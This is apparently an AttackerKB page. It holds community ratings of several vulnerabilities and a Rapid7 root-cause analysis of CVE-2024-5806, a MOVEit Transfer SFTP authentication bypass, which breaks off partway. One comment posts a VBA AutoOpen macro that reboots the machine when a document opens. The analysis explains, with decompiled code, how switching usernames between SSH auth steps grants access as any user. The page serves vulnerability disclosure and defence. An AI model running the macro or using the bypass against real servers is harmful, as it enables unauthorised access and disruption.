Activity Feed

1
Ratings
Technical Analysis

The problem is still in the “docx” files this vulnerability is a 0 day based on the Follina exploit. The Microsoft company still doesn’t want to understand, that they MUST remove macros options from the 365 Office and their offline app. In this video, you will see an example of this, how some users can be trickery to open the malicious file that is sent to them by the attacker. After execution of the file, the thing will be very bad for the users who execute it on their computer. It depends of the scenario.

The joke exploit:

Sub AutoOpen()
Dim Program As String
Dim TaskID As Double
On Error Resume Next
Program = "shutdown /R"
TaskID = Shell(Program, 1)
If Err <> 0 Then
MsgBox "Can't start " & Program
End If
End Sub
  • Enjoy watching

PoC:

video

1
Ratings
  • Attacker Value
    Very High
  • Exploitability
    Very Low
Technical Analysis

While this vulnerability is interesting, and it certainly has the potential for immense damage and harm, the reality is far more nuanced. The difficulty in exploiting this vulnerability is significant, and will likely have to generate a lot of noise from the attacker. It takes a matter of hours (the quickest to date has been around 4 hours under lab conditions) to successfully exploit, which a lot of traffic and noise that for the most part will not go unnoticed if an organisation has the appropriate monitoring in place.

In addition, this is a not vulnerable on numerous LTS base Operating Systems such as:

1

Exactly, yet another vulnerability that is marketized as critical and requires urgent attention while it will probably never be exploited outside very niche cases.

But as for XZ backdoor, no one now how it will evolve so it’s still better to patch.

1
4
Ratings
Technical Analysis

TL;DR: Neat! Doesn’t sound like something that’s going to be easily exploited or automated in pretty much any scenario, so I have little initial concern about widespread exploitation, or even exploitation at all. I’d expect a long tail of follow-on patches as various distros/products patch it out. Patch, sure, but no need for panic as far as we can tell.

As usual, happy to be proven wrong, but from the (very good!) Qualys technical write-up, this is a memory corruption bug where an adversary would have to win a race condition to exploit it successfully. The Qualys write-up even explicitly notes that “In our experiments, it takes ~10,000 tries on average to win this race condition; i.e., with 10 connections (MaxStartups) accepted per 120 seconds (LoginGraceTime), it takes ~1-2 days on average to obtain a remote root shell.”

3
Ratings
  • Attacker Value
    Very High
  • Exploitability
    High
Technical Analysis

Based on our AttackerKB Rapid7 Analysis, I have rated the exploitability as high, as an exploit can easily be implemented by modifying an existing SFTP library to trigger the auth bypass. However, when running the exploit, the attacker must first know the username of a valid user account on the target server. I have rated the attacker value as very high, as this is an auth bypass in an SFTP service of an enterprise file transfer solution.

Technical Analysis

Overview

On June 25, 2024 Progress Software published an advisory for CVE-2024-5806, an authentication bypass vulnerability affecting the SFTP module of MOVEit Transfer. Initially given a “high” severity rating, the vendor has since updated the severity rating to critical, with a CVSS base score of 9.1. The following version of MOVEit Transfer are affected:

  • MOVEit Transfer 2023.0.x (fixed in 2023.0.11)
  • MOVEit Transfer 2023.1.x (fixed in 2023.1.6)
  • MOVEit Transfer 2024.0.x (fixed in 2024.0.2)

Our analysis has shown that a remote unauthenticated attacker can leverage CVE-2024-5806 to successfully authenticate to the SFTP service as any user, so long as the following conditions are met (based on a vulnerable version 2023.0.1):

  • The attacker must know in advance the username of a valid MOVEit Transfer user account on the target server.
  • If an attacker tries to guess a valid username and fails too many times, the attacker’s IP address will be locked out. The default “Lockout Policy” is to lock out an IP address after five tries within six minutes. By default, locked-out IP addresses must be manually removed from the lockout list by an administrator.
  • The “Remote Access Rules”, which govern the remote IP addresses that can access this user account, must allow for remote access from the IP address the attacker uses. By default, all IP addresses are allowed for regular users. For Administrator and FileAdmin users, only internal network IP addresses are allowed (the default IP address range is 10.*.*.*). The sysadmin user is not allowed to authenticate via a remote IP by default.

An attacker who successfully exploits CVE-2024-5806 can access any file on the SFTP server that the user they are authenticating as has permission to access.

CVE-2024-5806 is reportedly being exploited in the wild. As of June 21, 2024, Shodan reported 1,085 instances of the MOVEit Transfer SFTP server exposed to the public internet, though exposure counts often vary based on the query used.

A technical analysis of CVE-2024-5806 was published by watchTower on June 25, 2024. This analysis details an exploitation strategy that relies on leveraging a zero-day vulnerability in the third-party library “IPWorks SSH” (From vendor “/n software, Inc.”) to successfully exploit CVE-2024-5806. Additionally, their exploitation strategy relies on planting an attacker-controlled key on the target server prior to exploiting CVE-2024-5806, by leveraging the MOVEit Transfer web interface to inject untrusted content into a log file. Our analysis demonstrates successful exploitation of CVE-2024-5806 without leveraging either the third party zero-day vulnerability in “IPWorks SSH”, or the need to leverage the MOVEit Transfer web interface to inject an attacker-controlled key into a log file.

Analysis

We tested a vulnerable version of MOVEit Transfer version 2023.1.3, and a patched version 2024.0.2. As we knew the vulnerability was in the SFTP module, we began by decompiling the SftpServer.exe binary from both versions, and diffing the results. SFTP is a secure file transfer protocol, built as an extension to the SSH protocol, so we expect authentication to follow the SSH authentication norms.

While there are several changes in this binary, we know this is an authentication bypass vulnerability, so the changes in the MOVEit.DMZ.SftpServer.Authentication.SftpPublicKeyAuthenticator class are of interest. The patch diff for this class is shown below:

@@ -57,11 +57,15 @@ namespace MOVEit.DMZ.SftpServer.Authentication
       if (string.IsNullOrEmpty(this._publicKeyFingerprint) && !this._keyAlreadyAuthenticated)
       {
         this._logger.Error("Attempted to authenticate empty public key fingerprint");
+        this.StatusCode = 2414;
+        this.StatusDescription = "No public key provided";
         return AuthenticationResult.Denied;
       }
       if (string.IsNullOrEmpty(user.ID))
       {
         this._logger.Debug("No user ID provided for public key authentication");
+        this.StatusCode = 2050;
+        this.StatusDescription = this._i18N.GetMsg(60001);
         return AuthenticationResult.Denied;
       }
       if (this._signatureIsValid.HasValue && !this._signatureIsValid.Value)

What appears to be a small and somewhat innocuous change reveals a complex authentication bypass vulnerability!

From the above changes, it appears that if either an empty public key fingerprint or an empty user ID is supplied to the method SftpPublicKeyAuthenticator.Authenticate, a result of AuthenticationResult.Denied will be returned. This seems reasonable, but in the vulnerable version, theStatusCode and StatusDescription member variables are not set.

We will investigate whether failing to set these status results can impact the authentication logic during public key authentication.

The method UserAuthRequestHandler.AuthenticateByPublicKey is called by HandleRequest shown below at [1], for a UserPublicKeyValidationRequest request. The result of AuthenticateByPublicKey will be passed to CreatePublicKeyAuthResult.

namespace MOVEit.DMZ.SftpServer.Requests.Handlers
{
  public class UserAuthRequestHandler : ISftpRequestHandler<UserAuthRequest, UserAuthResult>
  {

    // ..snip...

    public UserAuthResult HandleRequest(UserPublicKeyValidationRequest request)
    {
      this._logger.Debug("Received public key validation request for user " + request.LoginName);
      UserAuthRequestHandler.AuthenticationContext authenticationContext = this.GetAuthenticationContext((UserAuthRequest) request);
      string publicKeyFingerprint = authenticationContext.IsFromGateway ? authenticationContext.PublicKeyFingerprintFromGateway : request.PublicKey;
      return this.CreatePublicKeyAuthResult(this.AuthenticateByPublicKey(authenticationContext, publicKeyFingerprint, true, new bool?()), authenticationContext, publicKeyFingerprint); // <--- [1]
    }

Shown below, we can see AuthenticateByPublicKey will create a new instance of SftpPublicKeyAuthenticator, at [2], before calling MOVEit.DMZ.ClassLib.SILCurrentUser.SignonWithAuthenticator, at [3], to perform the public key authentication.

// MOVEit.DMZ.SftpServer.Requests.Handlers

    private AuthenticationResult AuthenticateByPublicKey(
      UserAuthRequestHandler.AuthenticationContext context,
      string publicKeyFingerprint,
      bool validationOnly,
      bool? signatureIsValid)
    {
      string loginName = context.LoginName;
      SILGlobals globals = context.Globals;
      SftpSession session = context.Session;
      bool keyAlreadyAuthenticated = session.HasAuthenticatedByPublicKey && publicKeyFingerprint == session.LastPublicKeyFingerprint;
      RandomIdService randomIdService = new RandomIdService((IDataConnection) globals.objWrap.Connection);
      SftpPublicKeyAuthenticator keyAuthenticator = new SftpPublicKeyAuthenticator(this._logger, (IDataConnection) globals.objWrap.Connection, (IRandomIdService) randomIdService, (ISILGetMsg) globals.objI11N, loginName, globals.OrgID, publicKeyFingerprint, session.HasAuthenticatedByPassword, keyAlreadyAuthenticated, signatureIsValid); // <--- [2]
      ILogger logger = this._logger;
      string message;
      if (!validationOnly)
      {
        if (!keyAlreadyAuthenticated)
          message = "Authenticating user " + loginName + " using client key fingerprint " + publicKeyFingerprint;
        else
          message = "Client key fingerprint " + publicKeyFingerprint + " already authenticated for user " + loginName + "; continuing with user authentication process";
      }
      else
        message = "Validating client key fingerprint " + publicKeyFingerprint + " for user " + loginName;
      logger.LogMessage(LogLev.MoreDebug, message);
      if (globals.objUser.SignonWithAuthenticator((IAuthenticator) keyAuthenticator, false, interfaceCode: 4, forceOrg: context.HasBoundOrg, establishSession: !validationOnly, clientCertAuthenticated: true))  // <--- [3]
      {
        if (validationOnly)
        {
          this._logger.LogMessage(LogLev.MoreDebug, "Validation successful");
        }
        else
        {
          this._logger.Info("Authentication successful");
          globals.objUser.ErrorDescription = session.HasAuthenticatedByPassword ? "Signed on with local password and client key" : "Signed on with client key";
          globals.objUser.LogSignon(globals.objUser.Username, loginName);
          globals.objSession.SetValue("MyUsername", (object) globals.objUser.Username);
          globals.objSession.SecureSession(globals.objUser.InstID, globals.objUser.Username);
        }
        return AuthenticationResult.Authenticated;
      }
      if (globals.objUser.ErrorCode == 0)
      {
        this._logger.LogMessage(LogLev.MoreDebug, validationOnly ? "Client key validation successful but password is also required" : "Client key authentication successful but password is also required");
        return AuthenticationResult.Indeterminate;
      }
      this._logger.Info(validationOnly ? "Client key validation failed" : "Client key authentication failed");
      return AuthenticationResult.Denied;
    }

The method SignonWithAuthenticator, shown below, will check if the username supplied by the SFTP authentication request is allowed to access the server, via a call to AuthorizeUserClient at [4]. This helper method will check if the requesting IP address is locked out, due to previous failed login attempts, or if the requested username is expired or inactive.

    public bool SignonWithAuthenticator(
      IAuthenticator authenticator,
      bool audit,
      string myOrgID = "",
      string inputLanguageCode = "",
      int interfaceCode = 0,
      int altInterfaceCode = -1,
      bool forceOrg = false,
      bool bCheckMFA = false,
      bool bPromptMFA = false,
      bool establishSession = true,
      bool skipFillInfo = false,
      bool clientCertAuthenticated = false)
    {
      bool flag1 = false;
      string MyLoginName = Conversions.ToString(Interaction.IIf(string.IsNullOrEmpty(authenticator.LoginName), (object) string.Empty, (object) authenticator.LoginName));
      myOrgID = authenticator.OrgId.HasValue ? authenticator.OrgId.Value.ToString() : myOrgID;
      string empty = string.Empty;
      this.ErrorCode = 0;
      this.bDidFillInfo = false;
      this.FindAndPopulateUserOrg(ref MyLoginName, myOrgID, ref empty, forceOrg);
      bool flag2 = !string.IsNullOrEmpty(this.Username);
      bool flag3;
      if (this.AuthorizeUserClient(MyLoginName)) // <--- [4]
      {
        ICollection<ExternalAuthenticator> externalAuthenticators = (ICollection<ExternalAuthenticator>) null;
        if (this.MayAuthenticateExternally())
          externalAuthenticators = (ICollection<ExternalAuthenticator>) this.GetExternalAuthenticatorList(MyLoginName, string.Empty, interfaceCode);
        bool flag4 = false;
        try
        {
          IAuthenticator[] AuthenticatorList = new IAuthenticator[1]
          {
            authenticator
          };
          int InterfaceCode = interfaceCode;
          int num = this.Org.FailOnFirstAuthFailure != 0 ? 1 : 0;
          ref ICollection<ExternalAuthenticator> local1 = ref externalAuthenticators;
          IAuthenticator authenticator1 = (IAuthenticator) null;
          ref IAuthenticator local2 = ref authenticator1;
          flag4 = this.ExecuteAuthenticators((IList<IAuthenticator>) AuthenticatorList, InterfaceCode, num != 0, ref local1, ref local2); // <--- [5]
        }
        catch (Exception ex)
        {
          ProjectData.SetProjectError(ex);
          this.siGlobs.objDebug.LogException(20, "SILCurrentUser.SignonWithAuthenticator", ex);
          this.ErrorCode = 100;
          ProjectData.ClearProjectError();
        }
        if (flag4)
        {
          if (flag2 || this.AllowedAtHost(MyLoginName))
          {
            if (this.AuthorizeUserInterface(interfaceCode, altInterfaceCode, clientCertAuthenticated) && this.CheckMultiSignon())
            {
              if (!bCheckMFA || this.MFAValidateCodeIfNec())
              {
                if (establishSession)
                  this.EstablishAuthenticatedSession(authenticator, empty, inputLanguageCode, interfaceCode, skipFillInfo);
                flag1 = true;
                this.RecordSuccessfulSignon(this.Username);
              }
              else
              {
                this.ErrorCode = 2028;
                this.ErrorDescription = this.siGlobs.objI11N.GetMsg(30509);
                if (bPromptMFA)
                {
                  flag3 = false;
                  goto label_26;
                }
              }
            }
          }
          else
          {
            this.siGlobs.objDebug.Log(30, string.Format("{0}: AllowedAtHost returned False for user {1}", (object) "SILCurrentUser.SignonWithAuthenticator", (object) MyLoginName));
            this.ErrorCode = 2976;
          }
        }
        else if (this.ErrorCode == 2414)
          audit = false;
        else if (this.ErrorCode == 2415 && (interfaceCode == 0 || interfaceCode == 1) && !this.siGlobs.objUtility.CurrentPageChecksClientCert(this.siGlobs.objSession.GetValue("MyCallingPage")))
        {
          flag3 = false;
          goto label_26;
        }
      }
      if (audit || this.ErrorCode != 0)
        this.LogSignon(this.Username, MyLoginName);
      if (!flag1)
      {
        if (!ListUtility.InList<int>(this.ErrorCode, 2976, 2977, 2975))
          this.UserOverloadCheck(this.Username);
      }
      flag3 = flag1;
label_26:
      return flag3;
    }

The SignonWithAuthenticator method will then call ExecuteAuthenticators, shown at [5] above.

The ExecuteAuthenticators helper method, shown below, will call the Authenticate method, at [6], for every authenticator class provided in the AuthenticatorList parameter. In our case it will call the SftpPublicKeyAuthenticator.Authenticate method.

    private bool ExecuteAuthenticators(
      IList<IAuthenticator> AuthenticatorList,
      int InterfaceCode,
      bool FailOnFirstAuthFailure,
      ref ICollection<ExternalAuthenticator> QueryInfoList = null,
      ref IAuthenticator SuccessAuthenticator = null)
    {
      bool flag1 = !string.IsNullOrEmpty(this.Username);
      bool flag2 = SILCurrentUser.IsInterfaceHttps(InterfaceCode);
      bool flag3;
      if (AuthenticatorList.Count > 0)
      {
        try
        {
          foreach (IAuthenticator authenticator in (IEnumerable<IAuthenticator>) AuthenticatorList)
          {
            string loginName = authenticator.LoginName;
            this.siGlobs.objDebug.Log(60, string.Format("SILUser.ExecuteAuthenticators: Authenticating user '{0}' with authenticator: {1}", (object) loginName, (object) authenticator.ToString()));
            AuthenticationResult authenticationResult = AuthenticationResult.Indeterminate;
            try
            {
              authenticationResult = authenticator.Authenticate((SILUser) this); // <--- [6]
              this.ErrorCode = authenticator.StatusCode;
              this.ErrorDescription = authenticator.StatusDescription;
            }
            catch (Exception ex)
            {
              ProjectData.SetProjectError(ex);
              Exception exception = ex;
              this.siGlobs.objDebug.LogException(20, string.Format("{0}.{1}", (object) "SILUser", (object) nameof (ExecuteAuthenticators)), exception);
              this.ErrorCode = 100;
              ProjectData.ClearProjectError();
            }
            switch (authenticationResult)
            {
              case AuthenticationResult.Authenticated:
                bool flag4 = authenticator.ClientCertValidated;
                this.UsingExternalAuthSource = !authenticator.IsInternal;
                this.siGlobs.objDebug.Log(60, string.Format("SILUser.ExecuteAuthenticators: User '{0}' authenticated with authenticator: {1}", (object) loginName, (object) authenticator.ToString()));
                if (authenticator.HasUserInfo)
                {
                  if (flag1)
                  {
                    if (authenticator.AutoSyncOnSignon)
                    {
                      AuthenticatedUserInfo userInfo = authenticator.UserInfo;
                      this.SyncUserAccount(ref userInfo);
                    }
                  }
                  else if (authenticator.AutoCreateOnSignon)
                  {
                    AuthenticatedUserInfo userInfo = authenticator.UserInfo;
                    if (!this.CreateExternalUserAccount(ref userInfo))
                    {
                      this.siGlobs.objDebug.Log(20, string.Format("SILUser.ExecuteAuthenticators: User '{0}' authenticated, but there was an error creating a new account using authenticator: {1}", (object) loginName, (object) authenticator.ToString()));
                      this.ErrorCode = 2025;
                      this.ErrorDescription = "Unknown username.";
                      continue;
                    }
                  }
                  else
                  {
                    this.siGlobs.objDebug.Log(50, string.Format("SILUser.ExecuteAuthenticators: User '{0}' authenticated, but account does not exist and authenticator ({1}) is unable or not allowed to create it", (object) loginName, (object) authenticator.ToString()));
                    this.ErrorCode = 2025;
                    this.ErrorDescription = "Unknown username.";
                    continue;
                  }
                }
                else if (QueryInfoList != null && QueryInfoList.Count > 0)
                {
                  bool flag5 = false;
                  try
                  {
                    foreach (ExternalAuthenticator externalAuthenticator in (IEnumerable<ExternalAuthenticator>) QueryInfoList)
                    {
                      this.siGlobs.objDebug.Log(60, string.Format("SILUser.ExecuteAuthenticators: Querying info for user '{0}' with authenticator: {1}", (object) loginName, (object) externalAuthenticator.ToString()));
                      if (externalAuthenticator.QueryUserInfo() && externalAuthenticator.HasUserInfo)
                      {
                        if (flag1)
                        {
                          if (authenticator.AutoSyncOnSignon)
                          {
                            AuthenticatedUserInfo userInfo = externalAuthenticator.UserInfo;
                            this.SyncUserAccount(ref userInfo);
                          }
                        }
                        else if (externalAuthenticator.AutoCreateOnSignon)
                        {
                          AuthenticatedUserInfo userInfo = externalAuthenticator.UserInfo;
                          if (!this.CreateExternalUserAccount(ref userInfo))
                          {
                            this.siGlobs.objDebug.Log(20, string.Format("SILUser.ExecuteAuthenticators: User '{0}' authenticated, but there was an error creating a new account using authenticator: {1}", (object) loginName, (object) externalAuthenticator.ToString()));
                            this.ErrorCode = 2025;
                            this.ErrorDescription = "Unknown username.";
                            continue;
                          }
                        }
                        else
                        {
                          this.siGlobs.objDebug.Log(50, string.Format("SILUser.ExecuteAuthenticators: User '{0}' authenticated, but account does not exist and authenticator ({1}) is unable or not allowed to create it", (object) loginName, (object) externalAuthenticator.ToString()));
                          this.ErrorCode = 2025;
                          this.ErrorDescription = "Unknown username.";
                          continue;
                        }
                        flag4 = flag4 || externalAuthenticator.ClientCertValidated;
                        flag5 = true;
                      }
                    }
                  }
                  finally
                  {
                    IEnumerator<ExternalAuthenticator> enumerator;
                    enumerator?.Dispose();
                  }
                  if (!flag5)
                  {
                    flag3 = false;
                    goto label_45;
                  }
                }
                if (!flag4)
                {
                  SILGlobals siGlobs = this.siGlobs;
                  ClientCertAuthenticator certAuthenticator = new ClientCertAuthenticator(ref siGlobs, this.Username, loginName, ref this.ClientCertWrapper, flag2 & this.HTTPCertRequired > 0, this.HTTPCertPlusPW > 0);
                  if (certAuthenticator.Authenticate() != AuthenticationResult.Authenticated && this.HTTPCertRequired > 0)
                  {
                    this.siGlobs.objDebug.Log(30, string.Format("SILUser.ExecuteAuthenticators: User '{0}' failed client certificate authentication", (object) loginName));
                    this.ErrorCode = certAuthenticator.StatusCode;
                    this.ErrorDescription = certAuthenticator.StatusDescription;
                    flag3 = false;
                    goto label_45;
                  }
                }
                SuccessAuthenticator = authenticator;
                flag3 = true;
                goto label_45;
              case AuthenticationResult.Denied:
                if (FailOnFirstAuthFailure)
                {
                  this.siGlobs.objDebug.Log(30, string.Format("{0}.{1}: User '{2}' was denied authentication with authenticator: {3}; ceasing authentication chain", (object) "SILUser", (object) nameof (ExecuteAuthenticators), (object) loginName, (object) authenticator));
                  flag3 = false;
                  goto label_45;
                }
                else
                  break;
            }
            this.siGlobs.objDebug.Log(30, string.Format("{0}.{1}: User '{2}' unable to authenticate with authenticator: {3}; continuing authentication chain", (object) "SILUser", (object) nameof (ExecuteAuthenticators), (object) loginName, (object) authenticator));
          }
        }
        finally
        {
          IEnumerator<IAuthenticator> enumerator;
          enumerator?.Dispose();
        }
      }
      else
      {
        this.ErrorCode = 2025;
        this.ErrorDescription = "No authenticators found.";
      }
      flag3 = false;
label_45:
      return flag3;
    }

We can now begin to understand the impact SftpPublicKeyAuthenticator.Authenticate has when it fails to set the StatusCode and StatusDescription upon a failed public key authentication request.

As shown below at [7], after ExecuteAuthenticators calls SftpPublicKeyAuthenticator.Authenticate and public key authentication fails (due to either an empty public key fingerprint or an empty user ID), the authenticationResult will be set to AuthenticationResult.Denied. However, the StatusCode was never set to an error code (i.e., a non-zero value), and will remain its default initialized value of 0. This in turn will set SILCurrentUser.ErrorCode to 0, before returning false to the caller SignonWithAuthenticator, indicating a failed authentication.

    private bool ExecuteAuthenticators(
      IList<IAuthenticator> AuthenticatorList,
      int InterfaceCode,
      bool FailOnFirstAuthFailure,
      ref ICollection<ExternalAuthenticator> QueryInfoList = null,
      ref IAuthenticator SuccessAuthenticator = null)
    {
        // ..snip...
            try
            {
              authenticationResult = authenticator.Authenticate((SILUser) this);
              this.ErrorCode = authenticator.StatusCode; // <--- [7]  ErrorCode becomes 0 even though Authenticate returns AuthenticationResult.Denied
              this.ErrorDescription = authenticator.StatusDescription;
            }

SignonWithAuthenticator will in turn return false to its caller UserAuthRequestHandler.AuthenticateByPublicKey, as shown below at [8].

// AuthenticateByPublicKey

      if (globals.objUser.SignonWithAuthenticator((IAuthenticator) keyAuthenticator, false, interfaceCode: 4, forceOrg: context.HasBoundOrg, establishSession: !validationOnly, clientCertAuthenticated: true))  // <--- [8] SignonWithAuthenticator will return false
      {
        // ...snip...
        return AuthenticationResult.Authenticated;
      }
      if (globals.objUser.ErrorCode == 0) // <--- [9] but ErrorCode will be 0
      {
        this._logger.LogMessage(LogLev.MoreDebug, validationOnly ? "Client key validation successful but password is also required" : "Client key authentication successful but password is also required");
        return AuthenticationResult.Indeterminate; // [10] <--- so client key auth succeeds!
      }
      this._logger.Info(validationOnly ? "Client key validation failed" : "Client key authentication failed");
      return AuthenticationResult.Denied;
    }

We can see above that in AuthenticateByPublicKey, if SignonWithAuthenticator returns false, and the SILCurrentUser.ErrorCode is 0 (shown above at [9]), then an AuthenticationResult of Indeterminate is returned at [10]. This indicates that validation of the client-supplied public key was successful!

The result of AuthenticateByPublicKey will be passed to the method CreatePublicKeyAuthResult, shown below.

    private UserAuthResult CreatePublicKeyAuthResult(
      AuthenticationResult authResult,
      UserAuthRequestHandler.AuthenticationContext authContext,
      string publicKeyFingerprint)
    {
      UserAuthResult publicKeyAuthResult = new UserAuthResult();
      switch (authResult)
      {
        case AuthenticationResult.Authenticated:
          publicKeyAuthResult.HomeFolderPath = UserAuthRequestHandler.GetUserDefaultFolderPath(authContext.Globals, authContext.Session);
          publicKeyAuthResult.AuthResult = AuthResult.Success;
          authContext.Session.HasAuthenticatedByPublicKey = true;
          authContext.Session.LastPublicKeyFingerprint = publicKeyFingerprint;
          break;
        case AuthenticationResult.Indeterminate: // <--- [11]
          publicKeyAuthResult.AuthResult = AuthResult.PartialSuccess;
          publicKeyAuthResult.AvailableAuthMethods = (IEnumerable<string>) new string[1]
          {
            "password"
          };
          authContext.Session.HasAuthenticatedByPublicKey = true; // <--- [12]
          authContext.Session.LastPublicKeyFingerprint = publicKeyFingerprint;
          break;

We can see above that an authResult of AuthenticationResult.Indeterminate (shown above at [11]) will set the session variable HasAuthenticatedByPublicKey to true (shown above at [12]). This is crucial, as we will see later on.

While we have passed the key validation of a client-supplied public key, we have not actually authenticated the SSH session with a valid MOVEit Transfer user account.

To successfully exploit this vulnerability in practice, an attacker must force SftpPublicKeyAuthenticator.Authenticate to fail, due to either an empty public key fingerprint (a hash computed by the server, of the public key provided by the client) or an empty user ID. We discovered supplying a non-existent username was the key to exploitation, as this forces the user ID to be an empty string.

It may seem counterintuitive to supply a non-existent username to force the failure, as we will need to supply a valid username to authenticate as, during the authentication bypass. But this is exactly what we need to do. We must investigate the SSH protocol internals to understand how we could do both!

When performing SSH public key authentication, the client will first transmit the client’s public key to the server. In doing so, a username is also supplied to the server. The server will verify this user can authenticate with the supplied public key. If successful, the server will respond to the client with a USERAUTH_PK_OK (message type 60) message. This indicates the server considers this public key for the given user to be acceptable. The client must then sign a new request to verify the client has the corresponding private key for the public key they previously provided. The signed data will include a username. This signed data is sent to the server, which will verify the signature using the public key the server previously received. If successful, the server will return a USERAUTH_SUCCESS (message type 52) message, and public key authentication will be completed successfully.

We can see from this description that there are two separate opportunities to supply a username to the server: the first when providing the public key, and the second when performing the signature.

Therefore, during the first client-side public key authentication request to verify the public key, an attacker can supply a non-existent username, such as an empty string value. This will trigger the vulnerability and force client public key authentication to succeed. Then during the signature verification, which occurs afterwards, the client can pass a different username. The server will not verify that the usernames from both requests match.

We can see below how this discrepancy in usernames occurs in the SshUserAuthRequestEventHandler.CreateRequest method below:

// MOVEit.DMZ.SftpServer.IpWorksSsh.EventHandlers.SshUserAuthRequestEventHandler

    protected override UserAuthRequest CreateRequest(SftpserverSSHUserAuthRequestEventArgs eventArgs)
    {
      switch (eventArgs.AuthMethod)
      {
        case "none":
          UserNoneAuthRequest request1 = new UserNoneAuthRequest();
          request1.LoginName = eventArgs.User;
          request1.ConnectionId = eventArgs.ConnectionId;
          request1.LocalHost = this._connection.LocalAddress;
          request1.RemoteHost = this._connection.RemoteHost;
          return (UserAuthRequest) request1;
        case "publickey":
          string keyFingerprint = this._keyService.GetKeyFingerprint(eventArgs.AuthParam, FingerprintType.Md5);
          UserPublicKeyValidationRequest request2 = new UserPublicKeyValidationRequest();
          request2.LoginName = eventArgs.User; // <--- [13] Attacker can set an non-existent username here.
          request2.ConnectionId = eventArgs.ConnectionId;
          request2.LocalHost = this._connection.LocalAddress;
          request2.RemoteHost = this._connection.RemoteHost;
          request2.PublicKey = keyFingerprint;
          return (UserAuthRequest) request2;
        case "sigstatus":
          bool flag = eventArgs.AuthParam.Equals("1");
          this._logger.Debug(string.Format("Server reported client key signature validation success={0}", (object) flag));
          UserPublicKeyAuthRequest request3 = new UserPublicKeyAuthRequest();
          request3.LoginName = eventArgs.User; // <--- [14] Later, the attacker can specify a valid username here to authenticate as!
          request3.ConnectionId = eventArgs.ConnectionId;
          request3.LocalHost = this._connection.LocalAddress;
          request3.RemoteHost = this._connection.RemoteHost;
          request3.SignatureIsValid = flag;
          request3.UsePrevious = true;
          return (UserAuthRequest) request3;

The SshUserAuthRequestEventHandler.CreateRequest method will reset the member variable LoginName for both the “publickey” auth request (shown at [13]), and the “sigstatus” auth request (shown at [14]). These events originate from the library nsoftware.IPWorksSSH, which the SFTP server is using to process the underlying SSH transport layer with the client. The event names “publickey” and “sigstatus” originate from this library, and these events are triggered when a client transmits either its public key or the signed response to a USERAUTH_PK_OK message.

We can also note that the “publickey” event will generate a UserPublicKeyValidationRequest request, whilst a “sigstatus” event will generate a UserPublicKeyAuthRequest request.

Looking at MOVEit.DMZ.SftpServer.Requests.Handlers.HandleRequest below, which dispatches the incoming events from the SSH transport layer, we can see how these two requests differ.

    public UserAuthResult HandleRequest(UserPublicKeyValidationRequest request)
    {
      this._logger.Debug("Received public key validation request for user " + request.LoginName);
      UserAuthRequestHandler.AuthenticationContext authenticationContext = this.GetAuthenticationContext((UserAuthRequest) request);
      string publicKeyFingerprint = authenticationContext.IsFromGateway ? authenticationContext.PublicKeyFingerprintFromGateway : request.PublicKey;
      return this.CreatePublicKeyAuthResult(this.AuthenticateByPublicKey(authenticationContext, publicKeyFingerprint, true, new bool?()), authenticationContext, publicKeyFingerprint); // <--- [15] validationOnly is true
    }

    public UserAuthResult HandleRequest(UserPublicKeyAuthRequest request)
    {
      this._logger.Debug("Received public key authentication request for user " + request.LoginName);
      UserAuthRequestHandler.AuthenticationContext authenticationContext = this.GetAuthenticationContext((UserAuthRequest) request);
      string publicKeyFingerprint = request.UsePrevious ? authenticationContext.Session.LastPublicKeyFingerprint : (authenticationContext.IsFromGateway ? authenticationContext.PublicKeyFingerprintFromGateway : request.PublicKey);
      return this.CreatePublicKeyAuthResult(this.AuthenticateByPublicKey(authenticationContext, publicKeyFingerprint, false, new bool?(request.SignatureIsValid)), authenticationContext, publicKeyFingerprint);// <--- [16] validationOnly is false
    }

They both call AuthenticateByPublicKey, but the validation request (for a “publickey” event) sets the validationOnly parameter in AuthenticateByPublicKey to true (shown at [15] above), while the auth request (for a “sigstatus” event) sets the validationOnly parameter in AuthenticateByPublicKey to false (shown at [16] above).

We know we can leverage the vulnerability to pass the first “publickey” event, and that during that event, the result of AuthenticateByPublicKey will be passed to CreatePublicKeyAuthResult, which in turn will set HasAuthenticatedByPublicKey to true (previously shown at [12]).

The next “sigstatus” event will call AuthenticateByPublicKey again, but now both HasAuthenticatedByPublicKey will be true, and validationOnly will be false.

We can see below in the method SftpPublicKeyAuthenticator.Authenticate, when called a second time during the “sigstatus” event, if a valid username is supplied, and the key was already verified during the “publickey” event (shown at [17] below), then SftpPublicKeyAuthenticator.Authenticate will set a StatusCode of 0 (shown at [18] below) before returning AuthenticationResult.Indeterminate (shown at [19] below).

We know the check below at [17] will pass as HasAuthenticatedByPublicKey (which is used to set _keyAlreadyAuthenticated) will be true due to the “publickey” event.

We can also see the result of calling PublicKeyRegisteredToUser (below at [17] ) is used in an logical OR expression with _keyAlreadyAuthenticated. Due to the logical OR, the key the attacker uses during the attack does not need to be registered to the user they are attempting to authenticate as. Hence the attacker can supply any valid, yet untrusted key during authentication, so long as the attacker also has the accompanying private key. This means an attacker can generate a new and arbitrary, valid RSA key pair prior to performing the attack.

    public AuthenticationResult Authenticate(SILUser user)
    {
      if (string.IsNullOrEmpty(this._publicKeyFingerprint) && !this._keyAlreadyAuthenticated)
      {
        this._logger.Error("Attempted to authenticate empty public key fingerprint");
        return AuthenticationResult.Denied;
      }
      if (string.IsNullOrEmpty(user.ID))
      {
        this._logger.Debug("No user ID provided for public key authentication");
        return AuthenticationResult.Denied;
      }
      if (this._signatureIsValid.HasValue && !this._signatureIsValid.Value)
      {
        this._logger.Error("Signature validation failed for provided public key");
        this.StatusCode = 2414;
        this.StatusDescription = "Signature validation failed for provided public key";
        return AuthenticationResult.Denied;
      }
      if (this._keyAlreadyAuthenticated || this.PublicKeyRegisteredToUser(user.ID)) // <--- [17] _keyAlreadyAuthenticated will be true
      {
        this.StatusCode = 0; // <--- [18]
        if (this._hasAuthenticatedByPassword || !SILUtility.IntToBool(user.SSHCertPlusPW))
          return AuthenticationResult.Authenticated;
        this._logger.Debug(this._keyAlreadyAuthenticated ? "Public key already authenticated, but password required with key" : "Matched public key OK, but password required with key");
        return AuthenticationResult.Indeterminate; // <--- [19]
      }

The above will make the call to SignonWithAuthenticator during AuthenticateByPublicKey, return true (shown below at [20]), and now we finally achieve a successful authentication as an actual user on the system.

As validationOnly will be false (shown below at [21]), the session’s MyUsername value will be set to the username we chose in the “sigstatus” event (technically, it will be the internal user ID corresponding to that username), shown below at [22] . Finally a result of AuthenticationResult.Authenticated is returned (shown below at [23]).

// AuthenticateByPublicKey()

